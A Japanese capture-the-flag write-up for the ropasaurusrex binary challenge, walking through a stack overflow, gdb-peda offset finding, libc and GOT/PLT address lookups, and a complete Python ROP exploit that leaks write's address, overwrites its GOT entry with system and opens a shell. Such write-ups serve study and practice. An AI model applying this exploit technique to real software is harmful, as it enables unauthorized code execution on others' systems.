ropasaurusrexのwriteup [level 1]

まずは動作確認から。

r30n@M0C0:~/workspace/binary/ropasaurusrex_1$ ./ropasaurusrex 
aaaa
WIN

実行すると入力待ちになり、文字を適当に入力するとWINと返すようです。
次に長い文字列を入力してみると

r30n@M0C0:~/workspace/binary/ropasaurusrex_1$ ./ropasaurusrex 
fjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault (コアダンプ)

Segmentation faultが返ってくることから領域を超えた書き込みが可能ということが分かります。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled
gdb-peda$ 

NXが有効なのでスタック上ではシェルコードを実行できない。
これに対して、GOTのwriteに相当する箇所をsystem関数に書き換えてwrite関数が呼ばれたときにsystem("bin/sh")が実行されるようにスタックに積んでいく。
もう少し詳しくまとめると

libcにあるsystem関数を呼び出したい
=>system関数のアドレスが知りたい ※libcの先頭アドレスからwriteやsystemまでいくつ離れているかはコマンドを叩けば分かる
=>libcの先頭アドレスが知りたい
=>got writeアドレスが分かれば、オフセットは分かっているのでlibcの先頭アドレスが分かる。
=>plt writeでgot writeのアドレスをリーク。
      =>plt readを使って書き換える。

という目標の逆の順番で一つ一つ解決していく。
ちなみに
ldd ./実行ファイルでどのlibcを使っているかが分かる。
nm -D libcファイル | grep "write"でwriteとlibcの先頭アドレスのオフセットが分かる。
gdb-peda上でropgadgetとコマンドを打つとpop3retのアドレスが分かる
got tableを見るにはreadelfコマンドで各セクションを表示させ、gotの先頭アドレスを[telescop gotのアドレス]とする。

gdb-peda$ pattc 256
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G'
gdb-peda$ 

このパターン文字列を実行後の入力待ちの際に入力することによってreturnまでの長さがわかる。

[----------------------------------registers-----------------------------------]
EAX: 0x100 
EBX: 0x0 
ECX: 0xffffd020 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKA\214\320\377\377")
EDX: 0x100 
ESI: 0xf7fa3000 --> 0x1d4d6c 
EDI: 0x0 
EBP: 0x41514141 ('AAQA')
ESP: 0xffffd0b0 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
EIP: 0x41416d41 ('AmAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41416d41
[------------------------------------stack-------------------------------------]
0000| 0xffffd0b0 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
0004| 0xffffd0b4 ("AASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
0008| 0xffffd0b8 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
0012| 0xffffd0bc ("TAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
0016| 0xffffd0c0 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
0020| 0xffffd0c4 ("ArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
0024| 0xffffd0c8 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
0028| 0xffffd0cc ("AAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
gdb-peda$ patto $eip
1094806849 found at offset: 140
gdb-peda$ 
r30n@M0C0:~/workspace/binary/new/2016_08_03/ctf_study2/2.hands-on$ ldd ropasaurusrex 
        linux-gate.so.1 (0xf7f35000)
        libc.so.6 => /lib32/libc.so.6 (0xf7d2f000)
        /lib/ld-linux.so.2 (0xf7f37000)
r30n@M0C0:~/workspace/binary/new/2016_08_03/ctf_study2/2.hands-on$ nm -D /lib32/libc.so.6 | grep "write"
00136a80 T _IO_do_write
00072730 T _IO_do_write
00136400 T _IO_file_write
000714f0 T _IO_file_write
00066380 T _IO_fwrite
0006c020 T _IO_wdo_write
000e2b40 T __libc_pwrite
000e2ca0 W __pwrite64
000e5650 W __write
000f7540 T eventfd_write
00066380 W fwrite
00070040 T fwrite_unlocked
000f82d0 T process_vm_writev
000e2b40 W pwrite
000e2ca0 W pwrite64
000eec40 T pwritev
000ef040 T pwritev2
000eecf0 T pwritev64
000ef190 T pwritev64v2
000e5650 W write
000eea40 W writev
r30n@M0C0:~/workspace/binary/new/2016_08_03/ctf_study2/2.hands-on$ nm -D /lib32/libc.so.6 | grep "system"
0003cc70 T __libc_system
001270f0 T svcerr_systemerr
0003cc70 W system
r30n@M0C0:~/workspace/binary/new/2016_08_03/ctf_study2/2.hands-on$

pltの各アドレスはobjdumpで確認できます。

r30n@M0C0:~/workspace/binary/new/2016_08_03/ctf_study2/2.hands-on$ objdump -d ropasaurusrex | grep plt
 80482c3:       e8 00 00 00 00          call   80482c8 <__gmon_start__@plt-0x34>                                                                                                                
 80482d7:       74 05                   je     80482de <__gmon_start__@plt-0x1e>
 80482d9:       e8 1e 00 00 00          call   80482fc <__gmon_start__@plt>
 80482de:       e8 ed 00 00 00          call   80483d0 <read@plt+0xa4>
 80482e3:       e8 d8 01 00 00          call   80484c0 <read@plt+0x194>
セクション .plt の逆アセンブル:
080482ec <__gmon_start__@plt-0x10>:
080482fc <__gmon_start__@plt>:
 8048307:       e9 e0 ff ff ff          jmp    80482ec <__gmon_start__@plt-0x10>
0804830c <write@plt>:
 8048317:       e9 d0 ff ff ff          jmp    80482ec <__gmon_start__@plt-0x10>
0804831c <__libc_start_main@plt>:
 8048327:       e9 c0 ff ff ff          jmp    80482ec <__gmon_start__@plt-0x10>
0804832c <read@plt>:
 8048337:       e9 b0 ff ff ff          jmp    80482ec <__gmon_start__@plt-0x10>
 804835c:       e8 bb ff ff ff          call   804831c <__libc_start_main@plt>
 804837e:       75 3f                   jne    80483bf <read@plt+0x93>
 8048398:       73 1e                   jae    80483b8 <read@plt+0x8c>
 80483b6:       72 e8                   jb     80483a0 <read@plt+0x74>
 80483dd:       74 12                   je     80483f1 <read@plt+0xc5>
 80483e6:       74 09                   je     80483f1 <read@plt+0xc5>
 8048416:       e8 11 ff ff ff          call   804832c <read@plt>
 8048426:       e8 c9 ff ff ff          call   80483f4 <read@plt+0xc8>
 8048442:       e8 c5 fe ff ff          call   804830c <write@plt>
 8048466:       e8 4f 00 00 00          call   80484ba <read@plt+0x18e>
 8048474:       e8 43 fe ff ff          call   80482bc <__gmon_start__@plt-0x40>
 804848c:       74 24                   je     80484b2 <read@plt+0x186>
 80484b0:       72 de                   jb     8048490 <read@plt+0x164>
 80484cf:       74 13                   je     80484e4 <read@plt+0x1b8>
 80484e2:       75 f4                   jne    80484d8 <read@plt+0x1ac>
 80484f3:       e8 00 00 00 00          call   80484f8 <read@plt+0x1cc>
 80484ff:       e8 6c fe ff ff          call   8048370 <read@plt+0x44>
r30n@M0C0:~/workspace/binary/new/2016_08_03/ctf_study2/2.hands-on$

readelfで各セクションのアドレスを見てgotセクションのアドレスをgdbのtelescopeでwriteのgotアドレスを確認します。

r30n@M0C0:~/workspace/binary/new/2016_08_03/ctf_study2/2.hands-on$ readelf -S ropasaurusrex  
There are 28 section headers, starting at offset 0x724:

セクションヘッダ:
  [] 名前              タイプ          アドレス Off    サイズ ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048114 000114 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048128 000128 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            08048148 000148 000024 00   A  0   0  4
  [ 4] .hash             HASH            0804816c 00016c 00002c 04   A  6   0  4
  [ 5] .gnu.hash         GNU_HASH        08048198 000198 000020 04   A  6   0  4
  [ 6] .dynsym           DYNSYM          080481b8 0001b8 000060 10   A  7   1  4
  [ 7] .dynstr           STRTAB          08048218 000218 000050 00   A  0   0  1
  [ 8] .gnu.version      VERSYM          08048268 000268 00000c 02   A  6   0  2
  [ 9] .gnu.version_r    VERNEED         08048274 000274 000020 00   A  7   1  4
  [10] .rel.dyn          REL             08048294 000294 000008 08   A  6   0  4
  [11] .rel.plt          REL             0804829c 00029c 000020 08   A  6  13  4
  [12] .init             PROGBITS        080482bc 0002bc 000030 00  AX  0   0  4
  [13] .plt              PROGBITS        080482ec 0002ec 000050 04  AX  0   0  4
  [14] .text             PROGBITS        08048340 000340 0001ac 00  AX  0   0 16
  [15] .fini             PROGBITS        080484ec 0004ec 00001c 00  AX  0   0  4
  [16] .rodata           PROGBITS        08048508 000508 00000d 00   A  0   0  4
  [17] .eh_frame         PROGBITS        08048518 000518 000004 00   A  0   0  4
  [18] .ctors            PROGBITS        0804951c 00051c 000008 00  WA  0   0  4
  [19] .dtors            PROGBITS        08049524 000524 000008 00  WA  0   0  4
  [20] .jcr              PROGBITS        0804952c 00052c 000004 00  WA  0   0  4
  [21] .dynamic          DYNAMIC         08049530 000530 0000d0 08  WA  7   0  4
  [22] .got              PROGBITS        08049600 000600 000004 04  WA  0   0  4
  [23] .got.plt          PROGBITS        08049604 000604 00001c 04  WA  0   0  4
  [24] .data             PROGBITS        08049620 000620 000008 00  WA  0   0  4
  [25] .bss              NOBITS          08049628 000628 000008 00  WA  0   0  4
  [26] .comment          PROGBITS        00000000 000628 00001c 01  MS  0   0  1
  [27] .shstrtab         STRTAB          00000000 000644 0000de 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  p (processor specific)
r30n@M0C0:~/workspace/binary/new/2016_08_03/ctf_study2/2.hands-on$
gdb-peda$ telescope 0x08049600
0000| 0x8049600 --> 0x0 
0004| 0x8049604 --> 0x8049530 --> 0x1 
0008| 0x8049608 --> 0xf7ffd940 --> 0x0 
0012| 0x804960c --> 0xf7fead80 (push   eax)
0016| 0x8049610 --> 0x8048302 (<__gmon_start__@plt+6>:  push   0x0)
0020| 0x8049614 --> 0x8048312 (<write@plt+6>:   push   0x8)
0024| 0x8049618 --> 0xf7de6d90 (<__libc_start_main>:    call   0xf7f02bd9)
0028| 0x804961c --> 0xf7eb3580 (<read>: push   esi)
gdb-peda$

pop3retはgdb-pedaでropgadgetと打つと確認できます。
pop3retはreadやwriteが関数の処理から返ってきた時に3つの引数を消すために必要なんです。

ret = 0x80482ca
popret = 0x80483c3
pop2ret = 0x80483c2
pop3ret = 0x80484b6
pop4ret = 0x80484b5
addesp_12 = 0x80483bf
addesp_44 = 0x80484b2
gdb-peda$ 

必要な情報はこれで揃ったので、これらの情報を使ってプログラムを組みます。

#!/usr/bin/python                                                                                                                                                                               
# -*- coding:utf-8 -*-
import socket, struct, telnetlib

# --- common funcs ---
def sock(remoteip, remoteport):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((remoteip, remoteport))
  return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
  data = ''
  while not data.endswith(delim):
    data += f.read(1)
  return data

def shell(s):
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

def p(a): return struct.pack("<I",a)
def u(a): return struct.unpack("<I",a)[0]

# --- main ---
s, f = sock("localhost", 4088)    # 接続

plt_write = 0x0804830c
plt_read = 0x0804832c
got_write = 0x8049614
offset_write = 0x000e5650
offset_system = 0x0003cc70
pop3ret = 0x80484b6
bss_address = 0x08049628


buf = "A"*140   #returnアドレスまでの埋め草
buf += p(plt_write) + p(pop3ret) + p(1) + p(got_write) + p(4)     #writeアドレスのリーク(1)
buf += p(plt_read) + p(pop3ret) + p(0) + p(bss_address) + p(8)             #bssに入力されたものを書き込む(2)
buf += p(plt_read) + p(pop3ret) + p(0) + p(got_write) + p(4)       #got_writeに入力されたものを書き込む(3)
buf += p(plt_write) + p(0xdeadbeef) + p(bss_address)                    #適当に8byteを埋めsystem関数となったwriteをplt_writeで呼び出す(4)
f.write(buf)

libc_system_address = u(f.read(4)) - offset_write + offset_system   #リークされたwriteアドレスからoffset_writeを引いて
                                                                    #libcnの先頭アドレスを求めsystem関数アドレスを計算(1) 
f.write("/bin/sh\0")        #bssに"/bin/sh\0"を書き込む(2)
f.write(p(libc_system_address))     #got_writeにsystem関数のアドレスを書き込む(3) 

shell(s)